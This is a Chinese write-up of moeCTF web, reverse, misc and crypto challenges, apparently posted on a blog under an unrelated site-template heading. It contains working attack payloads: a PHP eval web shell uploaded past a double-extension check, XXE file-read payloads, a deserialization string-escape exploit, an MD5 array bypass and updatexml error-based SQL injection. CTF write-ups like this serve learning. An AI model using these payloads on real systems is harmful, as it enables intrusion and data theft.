金融商城快捷申请网站模板下载,模板建站按年收费,自己制作网站的方法,蓝色科技企业网站模板签到
hello CTFer
将url地址复制然后打开即可 得到flag Web
http 听说这个http里还有个什么东西叫饼干#xff0c;也不知道是不是吃的 踩坑了#xff0c;这里用连接器。。。
开启题目环境 GET方式请求#xff0c;然后把各种请求头往里加
GET
?UwUuHeader#xff1a;
…签到
hello CTFer
将url地址复制然后打开即可 得到flag Web
http 听说这个http里还有个什么东西叫饼干也不知道是不是吃的 踩坑了这里用连接器。。。
开启题目环境 GET方式请求然后把各种请求头往里加
GET
?UwUuHeader
User-Agent: MoeBrowser
Cookie: characteradmin
X-Forwarded-For:127.0.0.1POST data
LuvuWeb入门指北 解码获取flag 群文件的web入门指北拉到最后得到字符串
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d十六进制转字符串 得到
flagbW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0flag内容base64解密
moectf{w3lCome_To_moeCTF_W2b_challengE!!}cookie “狗子真的吃饼干吗”“布偶猫一吃就拉””那就让《屋里的狗》吃吧指吃饼干“ 下载附件内容如下 一些api说明 注册 POST /register {
username:koito,
password:123456
}登录 POST /login {
username:koito,
password:123456
}获取flag GET /flag 查询服务状态 GET /status 直接看/flag不行的嘞 那就POST方式去访问/register发送json包进行注册 然后访问login 可以看到执行一个Set-Cookiebase64解码一下 登录显示我不是管理员 修改一下token的内容然后base64编码后修改 payload
eyJ1c2VybmFtZSI6ICJMZWFmIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0把character也修改为admin 彼岸的flag 我们在某个平行宇宙中得到了一段moectf群的聊天记录粗心的出题人在这个聊天平台不小心泄露了自己的flag CtrlU查看源码得到flag gas!gas!gas! Klutton这个假期信心满满地准备把驾照拿下于是他仔细地学习了好多漂移视频还准备了这么一个赛博赛车场诶不对开车好像不是用键盘开的 用脚本打脚本如下
import requestsurl http://localhost:16521/
res requests.session() #创建session对象用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求但是没有cookie那就无法记录答题数量。response res.post(url, data{driver:Leafzzz,steering_control:0,throttle:0}) #发post包获取题目for i in range(1, 99):math resTest response.text #获取返回包的内容if 太大 in resTest:ym2elif 太小 in resTest:ym 0else:ym 1if 向左 in resTest:fx1elif 向右 in resTest:fx -1else:fx 0myData { #构造的POST数据driver:Leafzzz,steering_control:fx,throttle:ym}response res.post(url, datamyData) #发post包提交答案,并且获取返回包获取下一个计算式print(response.text) #打印当前返回包的内容if moectf{ in response.text: #如果返回包里面有flagprint(Flaggggggggg!!!: , response.text)exit() # 退出当前程序也可以break得到flag 大海捞针 该死之前的平行宇宙由于flag的泄露被一股神秘力量抹去我们脱离了与那个宇宙的连接了不过不用担心看起来出题人傻乎乎的是具有泄露flag的概率的我们只需要连接多个平行宇宙…难道flag在多元宇宙里是全局变量吗 爆破ip改为127.0.0.1 1-1000爆破 然后开始攻击爆破出结果id530 moe图床 我们准备了一个moe图床用于上传一些图片 提前放一个一句话木马的内容
?php
phpinfo();
eval($_REQUEST[cmd]);
?文件上传 先传马php文件 存在前端拦截将文件格式改为png然后上传burp抓包修改为php文件 但是还是上传失败那就试试.htaccess文件也不行
f12可以看到前端代码
!DOCTYPE html
html
headmeta charsetutf-8titlemoe图床/title
/head
bodyinput typefile idfileInputbutton onclickuploadFile()上传/buttondiv iduploadResult/divscriptfunction uploadFile() {const fileInput document.getElementById(fileInput);const file fileInput.files[0];if (!file) {alert(请选择一个文件进行上传);return;}const allowedExtensions [png];const fileExtension file.name.split(.).pop().toLowerCase();if (!allowedExtensions.includes(fileExtension)) {alert(只允许上传后缀名为png的文件);return;}const formData new FormData();formData.append(file, file);fetch(upload.php, {method: POST,body: formData}).then(response response.json()).then(result {if (result.success) {const uploadResult document.getElementById(uploadResult);const para document.createElement(p);para.textContent (地址);const link document.createElement(a);link.textContent result.file_path;link.href result.file_path;link.target _blank;para.append(link);uploadResult.appendChild(para);alert(文件上传成功);} else {alert(文件上传失败 result.message);}}).catch(error {console.error(文件上传失败:, error);});}/script
/body
/html发现存在upload.php访问得到源代码
?php
$targetDir uploads/;
$allowedExtensions [png];if ($_SERVER[REQUEST_METHOD] POST isset($_FILES[file])) {$file $_FILES[file];$tmp_path $_FILES[file][tmp_name];if ($file[type] ! image/png) {die(json_encode([success false, message 文件类型不符合要求]));}if (filesize($tmp_path) 512 * 1024) {die(json_encode([success false, message 文件太大]));}$fileName $file[name];$fileNameParts explode(., $fileName);if (count($fileNameParts) 2) {$secondSegment $fileNameParts[1];if ($secondSegment ! png) {die(json_encode([success false, message 文件后缀不符合要求]));}} else {die(json_encode([success false, message 文件后缀不符合要求]));}$uploadFilePath dirname(__FILE__) . / . $targetDir . basename($file[name]);if (move_uploaded_file($tmp_path, $uploadFilePath)) {die(json_encode([success true, file_path $uploadFilePath]));} else {die(json_encode([success false, message 文件上传失败]));}
}
else{highlight_file(__FILE__);
}
? 这段代码是一个简单的PHP脚本用于处理上传图片文件的功能。下面我会逐步解释代码中的各个部分 $targetDir uploads/;这是指定上传文件保存的目标目录目录名为 “uploads”。需要确保该目录在脚本的执行位置下存在并且具有适当的写入权限。$allowedExtensions [png];这是一个允许上传的文件扩展名的数组只允许上传扩展名为 “png” 的图片文件。if ($_SERVER[REQUEST_METHOD] POST isset($_FILES[file])) {这是一个条件判断检查是否是通过 POST 请求上传文件并且确保存在名为 “file” 的文件上传字段。$file $_FILES[file];将上传的文件信息存储在名为 “$file” 的变量中以便后续使用。$tmp_path $_FILES[file][tmp_name];获取上传文件的临时文件路径。if ($file[type] ! image/png) { ... }检查上传文件的 MIME 类型是否为 “image/png”即确保上传的文件是 PNG 图片。if (filesize($tmp_path) 512 * 1024) { ... }检查上传文件的大小是否超过了 512KB即 512 * 1024 字节的限制。解析文件名 $fileName $file[name];获取上传文件的原始文件名。$fileNameParts explode(., $fileName);将文件名通过点号 “.” 进行分割得到文件名各个部分的数组。 文件名和扩展名校验 如果文件名部分的数组长度大于等于 2说明文件名中至少包含了一个点号。$secondSegment $fileNameParts[1];获取文件名的第二个部分即文件扩展名部分。进行判断如果第二个部分不是 “png”则拒绝上传。 移动上传文件 构造上传文件的目标路径$uploadFilePath dirname(__FILE__) . / . $targetDir . basename($file[name]);。这会将文件保存在指定的目标目录下并使用原始文件名。move_uploaded_file($tmp_path, $uploadFilePath)尝试将临时文件移动到目标路径。如果移动成功返回 true否则返回 false。 根据移动结果返回响应 如果移动成功返回 JSON 格式的成功消息包含上传后的文件路径。如果移动失败返回 JSON 格式的失败消息。 else 分支如果不是通过 POST 请求上传文件或者没有名为 “file” 的文件上传字段就会显示当前 PHP 文件的代码内容。 存在逻辑漏洞 $fileNameParts explode(., $fileName);if (count($fileNameParts) 2) {$secondSegment $fileNameParts[1];if ($secondSegment ! png) {die(json_encode([success false, message 文件后缀不符合要求]));}} else {die(json_encode([success false, message 文件后缀不符合要求]));}
这里只会将遇到的.分开然后判断第二个是不是png
但是apache解析是按照最后一个文件后缀解析的只需要传两个个后缀就可以绕过
前端绕过和前面类似burp抓包然后修改 上传成功并且得到文件路径/uploads/cmd.png.php去访问
成功执行phpinfo();然后进行rce payload:
uploads/cmd.png.php?cmdsystem(ls /);然后cat /f*得到flagpayload
uploads/cmd.png.php?cmdsystem(cat /f*);也可以蚁剑连接这里不赘述了
了解你的座驾 为了极致地漂移我们准备了一个网站用于查找你喜欢的车车听说flag也放在里面了不过不在网站目录放在根目录应该没问题的吧。。。 抓包发现xml_content url解码一下得到
xmlnameDodge Viper/name/xmlF12可以看到前端脚本
function submitForm(name) {var form document.createElement(form);form.method post;form.action index.php;var input document.createElement(input);input.type hidden;input.name xml_content;input.value xmlname name /name/xml;form.appendChild(input);document.body.appendChild(form);form.submit();}猜测是XXE
关于XXE学习贴个链接CTF XXE
这里直接贴个payload
?xml version1.0 encodingUTF-8?
!DOCTYPE any[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resource/var/www/html/doLogin.php
]
userusernamefile;/usernamepassword1/password/user修改一下
?xml version1.0 encodingUTF-8?
!DOCTYPE any[!ENTITY file SYSTEM php://filter/readconvert.base64-encode/resource///flag
]
xmlnamefile;/name/xml然后进行url编码 这里踩坑了一定要编码不然没有用 %3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%61%6e%79%5b%0a%20%20%3c%21%45%4e%54%49%54%59%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2f%2f%2f%66%6c%61%67%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%3c%6e%61%6d%65%3e%26%66%69%6c%65%3b%3c%2f%6e%61%6d%65%3e%3c%2f%78%6d%6c%3e传参给xml_contentbase64解码得到flag meo图床 我们准备了一个meo(?)图床用于上传一些图片 也是考察文件上传先上传PHP文件试试 burp抓包修改文件后缀试试 这里看到php文件是可以上传成功的去查看一下 可惜这里无法访问我们的.php文件只能访问我们上传的.png文件
但是可以看到file_get_contents函数猜测有任意文件读取
构造payload读取flag
?name../../../../../../flag 跟我们flag不在这里但是这里有个提示Fl3g_n0t_Here_dont_peek!!!!!.php访问一下 踩坑这里不用name变量直接访问就行了我开始还以为这个hint没有用就一直没找出来 http://localhost:port/Fl3g_n0t_Here_dont_peek!!!!!.php看到代码 ?phphighlight_file(__FILE__);if (isset($_GET[param1]) isset($_GET[param2])) {$param1 $_GET[param1];$param2 $_GET[param2];if ($param1 ! $param2) {$md5Param1 md5($param1);$md5Param2 md5($param2);if ($md5Param1 $md5Param2) {echo O.O!! . getenv(FLAG);} else {echo O.o??;}} else {echo o.O?;}
} else {echo O.o?;
}? md5弱比较直接数组绕过就可以了
/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]1param2[]2得到flag 夺命十三枪 夺命十三枪然后是啥来着 反序列化开启环境得到源码
?php
highlight_file(__FILE__);require_once(Hanxin.exe.php);$Chant isset($_GET[chant]) ? $_GET[chant] : 夺命十三枪;$new_visitor new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before serialize($new_visitor);
$after Deadly_Thirteen_Spears::Make_a_Move($before);
echo Your Movements: . $after . br;try{echo unserialize($after);
}catch (Exception $e) {echo Even Caused A Glitch...;
}
? 存在Hanxin.exe.php访问文件得到源码
?phpif (basename($_SERVER[SCRIPT_FILENAME]) basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual array(di_yi_qiang Lovesickness,di_er_qiang Heartbreak,di_san_qiang Blind_Dragon,di_si_qiang Romantic_charm,di_wu_qiang Peerless,di_liu_qiang White_Dragon,di_qi_qiang Penetrating_Gaze,di_ba_qiang Kunpeng,di_jiu_qiang Night_Parade_of_a_Hundred_Ghosts,di_shi_qiang Overlord,di_shi_yi_qiang Letting_Go,di_shi_er_qiang Decisive_Victory,di_shi_san_qiang Unrepentant_Lethality);public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index $movement){$move str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant ;public $Spear_Owner Nobody;function __construct($chant){$this-Chant $chant;$this-Spear_Owner Nobody;}function __toString(){if($this-Spear_Owner ! MaoLei){return Far away from COOL...;}else{return Omg Youre So COOOOOL!!! . getenv(FLAG);}}
}?先构造pop链倒着找
在Hanxin.exe.php文件中的Omg_It_Is_So_Cool_Bring_Me_My_Flag类中存在__toString()魔术方法里面的语句可以得到flag __toString() 当一个对象被当作字符串使用时触发 向上找发现在index.php中echo unserialize($after)将反序列化后的$after当做字符串输出
$after是经过Deadly_Thirteen_Spears的Make_a_Move()静态方法重构后的
先解释一下Deadly_Thirteen_Spears的作用
class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual array(di_yi_qiang Lovesickness,di_er_qiang Heartbreak,di_san_qiang Blind_Dragon,di_si_qiang Romantic_charm,di_wu_qiang Peerless,di_liu_qiang White_Dragon,di_qi_qiang Penetrating_Gaze,di_ba_qiang Kunpeng,di_jiu_qiang Night_Parade_of_a_Hundred_Ghosts,di_shi_qiang Overlord,di_shi_yi_qiang Letting_Go,di_shi_er_qiang Decisive_Victory,di_shi_san_qiang Unrepentant_Lethality);public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index $movement){$move str_replace($index, $movement, $move);}return $move;}
}这段代码定义了一个名为 Deadly_Thirteen_Spears 的类其中包含一个静态方法 Make_a_Move()这个方法用于将输入的字符串进行一系列替换操作。下面逐行解释代码的功能和作用 private static $Top_Secret_Long_Spear_Techniques_Manual array(...);: 这是一个私有的静态属性它是一个关联数组包含了一组“绝密长枪技巧手册”的内容。每个键值对表示一个技巧其中键是技巧的标识值是技巧的名称。public static function Make_a_Move($move) {: 这是一个公共的静态方法接受一个字符串参数 $move表示要处理的移动。这个方法将对输入的字符串进行处理。foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index $movement) {: 这是一个循环语句遍历了之前定义的绝密长枪技巧手册数组。对于每一项技巧循环会将数组中的键技巧的标识赋值给变量 $index将数组中的值技巧的名称赋值给变量 $movement。$move str_replace($index, $movement, $move);: 在循环内部这行代码使用 str_replace() 函数将字符串 $move 中的 $index 部分即技巧的标识替换为 $movement 部分即技巧的名称。这样会对字符串进行一系列的替换操作将特定的技巧标识替换为对应的技巧名称。return $move;: 最后方法返回经过替换处理后的字符串 简单来说就是我们在$before serialize($new_visitor);得到的序列化字符串在传入这个方法后会检测关键词并进行替换替换方式如下
di_yi_qiang Lovesickness,
di_er_qiang Heartbreak,
di_san_qiang Blind_Dragon,
di_si_qiang Romantic_charm,
di_wu_qiang Peerless,
di_liu_qiang White_Dragon,
di_qi_qiang Penetrating_Gaze,
di_ba_qiang Kunpeng,
di_jiu_qiang Night_Parade_of_a_Hundred_Ghosts,
di_shi_qiang Overlord,
di_shi_yi_qiang Letting_Go,
di_shi_er_qiang Decisive_Victory,
di_shi_san_qiang Unrepentant_Lethality关于字符串增多逃逸可以看一下CTFshow反序列化系列的web262
再往上找$before serialize($new_visitor)会序列化$new_visitor再之前我们需要传入chant参数然后$new_visitor会创建一个Omg_It_Is_So_Cool_Bring_Me_My_Flag对象并且将Chant的值等于我们传入的$chant
所以构造pop链
Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString() -- echo unserialize($after) -- Deadly_Thirteen_Spears::Make_a_Move() -- new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant) -- $_GET[chant]如果想成功触发getenv(FLAG)就需要Omg_It_Is_So_Cool_Bring_Me_My_Flag中Spear_Owner的属性的值变为MaoLei但是我们无法直接更改Spear_Owner的值所以就需要利用字符串逃逸来更改
这里打算利用字符串增多逃逸所以这里我选的第一枪di_yi_qiang Lovesickness
先构造好我们想要的exp
?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Spear_Owner;function __construct(){$this-Spear_Owner MaoLei;}
}$anew Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
#得到Spear_OwnerMaoLei的序列化结果
?运行脚本之后得到
O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:1:{s:11:Spear_Owner;s:6:MaoLei;}这里我们需要的是后半部分也就是{s:11:Spear_Owner;s:6:MaoLei;}
但是需要前面闭合的{而且还要加;来闭合前面的序列化字符串所以得到字符串
;s:11:Spear_Owner;s:6:MaoLei;}计算一下字符串长度
?php
echo strlen(;s:11:Spear_Owner;s:6:MaoLei;});
#35
?然后按照题目的序列化让chant等于我们得到的值然后先运行一遍看看序列化结果
?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant 1;s:11:Spear_Owner;s:6:MaoLei;};public $Spear_Owner Nobody;
}$anew Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
?运行得到
O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:2:{s:5:Chant;s:36:1;s:11:Spear_Owner;s:6:MaoLei;};s:11:Spear_Owner;s:6:Nobody;}观察运行结果 这里s表示的值是36但是遇到了一个字符“1”就闭合了多出来的35个字符正是我们构造出来的序列化字符串;s:11:Spear_Owner;s:6:MaoLei;}
如果直接传入那么在反序列化的时候就会产生报错所以我们就要想办法去造出来多出来的这35个字符题目中给出利用点
就是Make_a_move方法这里用第一枪di_yi_qiang Lovesickness
会在序列化之后生成的字符串中di_yi_qiang替换为Lovesickness每替换一个就会多出来一个字符所以我们构造payload的时候构造35个di_yi_qiang就会在替换后多出来35个字母因为已经序列化完了所以s:36并不会改变从而实现字符串逃逸
先生成35个di_yi_qiang
?php
$a1;
for($a1;$a35;$a){echo di_yi_qiang;
}最后payload
?chantdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang;s:11:Spear_Owner;s:6:MaoLei;}传参得到flag signin 真的是signin 题目存在附件刚开始没看见无语了)
源码如下
from secrets import users, salt
import hashlib
import base64
import json
import http.serverwith open(flag.txt,r) as f:FLAG f.read().strip()def gethash(*items):c 0for item in items:if item is None:continuec ^ int.from_bytes(hashlib.md5(f{salt}[{item}]{salt}.encode()).digest(), big) # it looks so complex! but is it safe enough?return hex(c)[2:]assert admin in users
assert users[admin] adminhashed_users dict((k,gethash(k,v)) for k,v in users.items())eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,big,signedTrue).decode().translate({ord(c):None for c in \x00})) # what is it?def decrypt(data:str):for x in range(5):data base64.b64encode(data).decode() # ummm...? It looks like its just base64 encoding it 5 times? truely?return data__page__ base64.b64encode(PCFET0NUWVBFIGh0bWwCjxodG1sPgo8aGVhZD......)class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path /:self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)def do_POST(self):try:if self.path /login:body self.rfile.read(int(self.headers.get(Content-Length)))payload json.loads(body)params json.loads(decrypt(payload[params]))print(params)if params.get(username) admin:self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN AS ADMIN!)print(admin)returnif params.get(username) params.get(password):self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!)print(same)returnhashed gethash(params.get(username),params.get(password))for k,v in hashed_users.items():if hashed v:data {user:k,hash:hashed,flag: FLAG if k admin else flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print(success)returnself.send_response(403)self.end_headers()self.wfile.write(bInvalid username or password)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)if __name__ __main__:server http.server.HTTPServer((, 9999), MyHandler)server.serve_forever()中间一大段base64编码的值是前端代码不用管他
这里进行代码分析一下一段一段来
先不分析gethash这里有解题的关键
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,big,signedTrue).decode().translate({ord(c):None for c in \x00})) # what is it?这里的作用是简单来讲就是将base64encode的作用变为base64decode也就是在这段程序中编码的作用变为解码
接下来decrypt函数
def decrypt(data:str):for x in range(5):data base64.b64encode(data).decode() # ummm...? It looks like its just base64 encoding it 5 times? truely?return data这个函数的作用是循环进行五次base64encode也就是base64编码但是在上面一段的eval()语句中将编码的功能变成解码所以这段函数的作用也就变成了base64decode也就是这段函数的作用变成了五次base64解码
然后是main函数
if __name__ __main__:server http.server.HTTPServer((, 9999), MyHandler)server.serve_forever()这里会接受HTTPServer也就是HTTP请求头然后利用MyHandler进行处理
MyHandler类
class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path /:self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)def do_POST(self):try:if self.path /login:body self.rfile.read(int(self.headers.get(Content-Length)))payload json.loads(body)params json.loads(decrypt(payload[params]))print(params)if params.get(username) admin:self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN AS ADMIN!)print(admin)returnif params.get(username) params.get(password):self.send_response(403)self.end_headers()self.wfile.write(bYOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!)print(same)returnhashed gethash(params.get(username),params.get(password))for k,v in hashed_users.items():if hashed v:data {user:k,hash:hashed,flag: FLAG if k admin else flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print(success)returnself.send_response(403)self.end_headers()self.wfile.write(bInvalid username or password)else:self.send_response(404)self.end_headers()self.wfile.write(b404 Not Found)except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b500 Internal Server Error)这里用GET传参来接受路由如果是/就显示前端代码也就是__page__除此之外都返回404 Not Found
Post进行对/login路由处理先经过decrypt()函数对传进来的payload[params]进行处理也就是base64解码五次然后在进行接受并解析
接下来如果username是admin就回显YOU CANNOT LOGIN AS ADMIN!
如果usernamepassword也就是username等于password的值就会返回YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!
如果前面的条件都没有符合那么就会让hasded的值等于经过gethash函数处理的username和password
接下来
for k, v in hashed_users.items():这是一个迭代循环遍历 hashed_users 字典的键值对。在每次迭代中键将被赋值给变量 k而值将被赋值给变量 v。if hashed v:这是一个条件语句检查当前循环迭代中的哈希值 hashed 是否与字典中的某个值 v 相等。 如果相等说明找到了匹配的哈希值这可能代表用户的身份验证成功。如果不相等代码将继续迭代检查下一个键值对。 如果找到了匹配的哈希值用户身份验证成功以下内容将被执行 data 字典被创建其中包括以下键值对 user: k将匹配的用户名称赋值给 user 键。hash: hashed将匹配的哈希值赋值给 hash 键。flag: FLAG if k admin else flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}根据用户名称决定是否分配一个特定的标志flag。如果用户名称是 admin则使用 FLAG 的值作为标志否则使用一个特定的提示消息作为标志。
所以我们传入的值就需要让usernameadmin并且usernamepassword
这里hashed_users 字典是gethash函数生成的
gethash()函数
def gethash(*items):c 0for item in items:if item is None:continuec ^ int.from_bytes(hashlib.md5(f{salt}[{item}]{salt}.encode()).digest(), big) # it looks so complex! but is it safe enough?return hex(c)[2:]def gethash(*items):定义一个名为 gethash 的函数该函数接受任意数量的参数这些参数将被用于生成哈希值。c 0初始化变量 c 为零用于存储最终的哈希值。for item in items:遍历传入的参数列表。if item is None:如果当前参数 item 是 None则跳过当前迭代继续下一个迭代。这可能是为了处理参数中的空值。c ^ int.from_bytes(hashlib.md5(f{salt}[{item}]{salt}.encode()).digest(), big) 在这行代码中对每个非空参数执行以下操作 hashlib.md5(f{salt}[{item}]{salt}.encode()).digest()将给定的 item 与一个固定的 salt 值组合然后计算这个组合的 MD5 哈希值并获得其原始字节表示。int.from_bytes(..., big)将上一步得到的字节表示转换为一个大整数。c ^ ...将上述得到的整数与变量 c 进行按位异或操作将结果重新赋值给 c。这可能是为了将多个参数的哈希值合并在一起。 return hex(c)[2:]将最终合并的哈希值转换为十六进制字符串并返回其中去掉开头的 “0x” 后的部分。 我们需要让k值为admin所以这里的需要让admin经过gethash函数处理
admin算出来的hash是0然后我就卡题了去请教了一下出题人 解题思路如下 我们传入的参数也就是username和password在这里都会用format来进行格式化
而format在处理数字0 和字符0时统一返回的是字符0那么我们让username是数字0password是字符0就可以让他们的hash相等
exp如下
随便传个值然后抓包然后base64解码5次 修改username为0password为0然后base64编码五次得到 VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJrVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzZWxVeFl6QmtNVUpTVUZRd1BRPT0修改params的值然后发包得到flag 但是 我总感觉这个是非预期解因为这就和admin的hash是不是0没有关系了这里好像只要是数字和字符都可以进行绕过
出去旅游的心海
CtrlU查看源代码可以看到存在文件 访问一下得到源代码
?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitors identification, still in development, do not use in industry environment!
Author: KoKoMiStill in development! :)
*/// 不许偷看这些代码我还在调试呢
highlight_file(__FILE__);// 加载数据库配置暂时用硬编码绝对路径
require_once(/var/www/html/wordpress/ . wp-config.php);$db_user DB_USER; // 数据库用户名
$db_password DB_PASSWORD; // 数据库密码
$db_name DB_NAME; // 数据库名称
$db_host DB_HOST; // 数据库主机// 我记得可以用wp提供的global $wpdb来操作数据库等旅游回来再研究一下
// 这些是临时的代码$ip $_POST[ip];
$user_agent $_POST[user_agent];
$time stripslashes($_POST[time]);$mysqli new mysqli($db_host, $db_user, $db_password, $db_name);// 检查连接是否成功
if ($mysqli-connect_errno) {echo 数据库连接失败: . $mysqli-connect_error;exit();
}$query INSERT INTO visitor_records (ip, user_agent, time) VALUES ($ip, $user_agent, $time);// 执行插入
$result mysqli_query($mysqli, $query);// 检查插入是否成功
if ($result) {echo 数据插入成功;
} else {echo 数据插入失败: . mysqli_error($mysqli);
}// 关闭数据库连接
mysqli_close($mysqli);//gpt真好用通过代码审计可以知道开启了报错显示所以我们可以通过报错注入来获取信息
我们需要传入ipuser_agent和time参数这里用time来当注入点
构造payload
ip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)得到库名然后爆表
payload
ip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemawordpress ),0x7e),1,20),3)得到表名然后爆字段
payload
ip1user_agent1timeupdatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemawordpress and table_namesecret_of_kokomi),0x7e),3)获取flag
ip1user_agent1timeupdatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)
后半段
ip1user_agent1timeupdatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3Reversez
Reverse入门指北 入门指北运行附带程序获得flag notepad打开搜索moe base_64 base64是一种编码方式不过这个好像有点奇怪 hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具 在线找个网站反编译一下base_64.pyc文件
反编译后代码如下
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7import base64
from string import *
str1 yD9oB3Inv3YAB19YynIuJnUaAGB0um0
string1 ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789/
string2 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/
flag input(welcome to moectf\ninput your flag and I wiil check it:)
enc_flag base64.b64encode(flag.encode()).decode()
enc_flag enc_flag.translate(str.maketrans(string2, string1))
if enc_flag str1:print(good job!!!!)
else:print(something wrong???)exit(0)base64解密并且更换密码本 Xor 这题是一个简单的异或算法。相信初学者们在熟悉了一些例如ida等工具的使用之后能很快解决。 提示异或有个特点a ^ b c 那么c ^ a b 脚本如下
#includestdio.h
#includestring.h
int main(){char v[30]{0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44};for(int i0;i28;i){v[i]v[i]^0x39;}for(int i0;i28;i){printf(%c,v[i]);}
}运行得到flag
Misc
Misc 入门指北 来看看最基础的入门知识吧 文件最后有字符串 base64解码 打不开的图片1
图片用010Editor打开
然后插入字节 我们要添加文件头FFD8所以插入两个字节 插入文件头FFD8 然后添加文件后缀名.JPEG
图片正常显示 右键查看属性 解码得到flag 狗子(1) 普通的猫
010查看文件flag在最后 Classical Crypto
ezrot DESCRIPTIONezrot 密文如下
64E7LCEcf0:D0;FDE020D:!606EE6C0DF3DE:EFE:?04:!96C0tsAJdEA6d;F}%0NRot47加密找个网站直接解密 可可的新围墙 DESCRIPTION可可的新围墙 密文如下
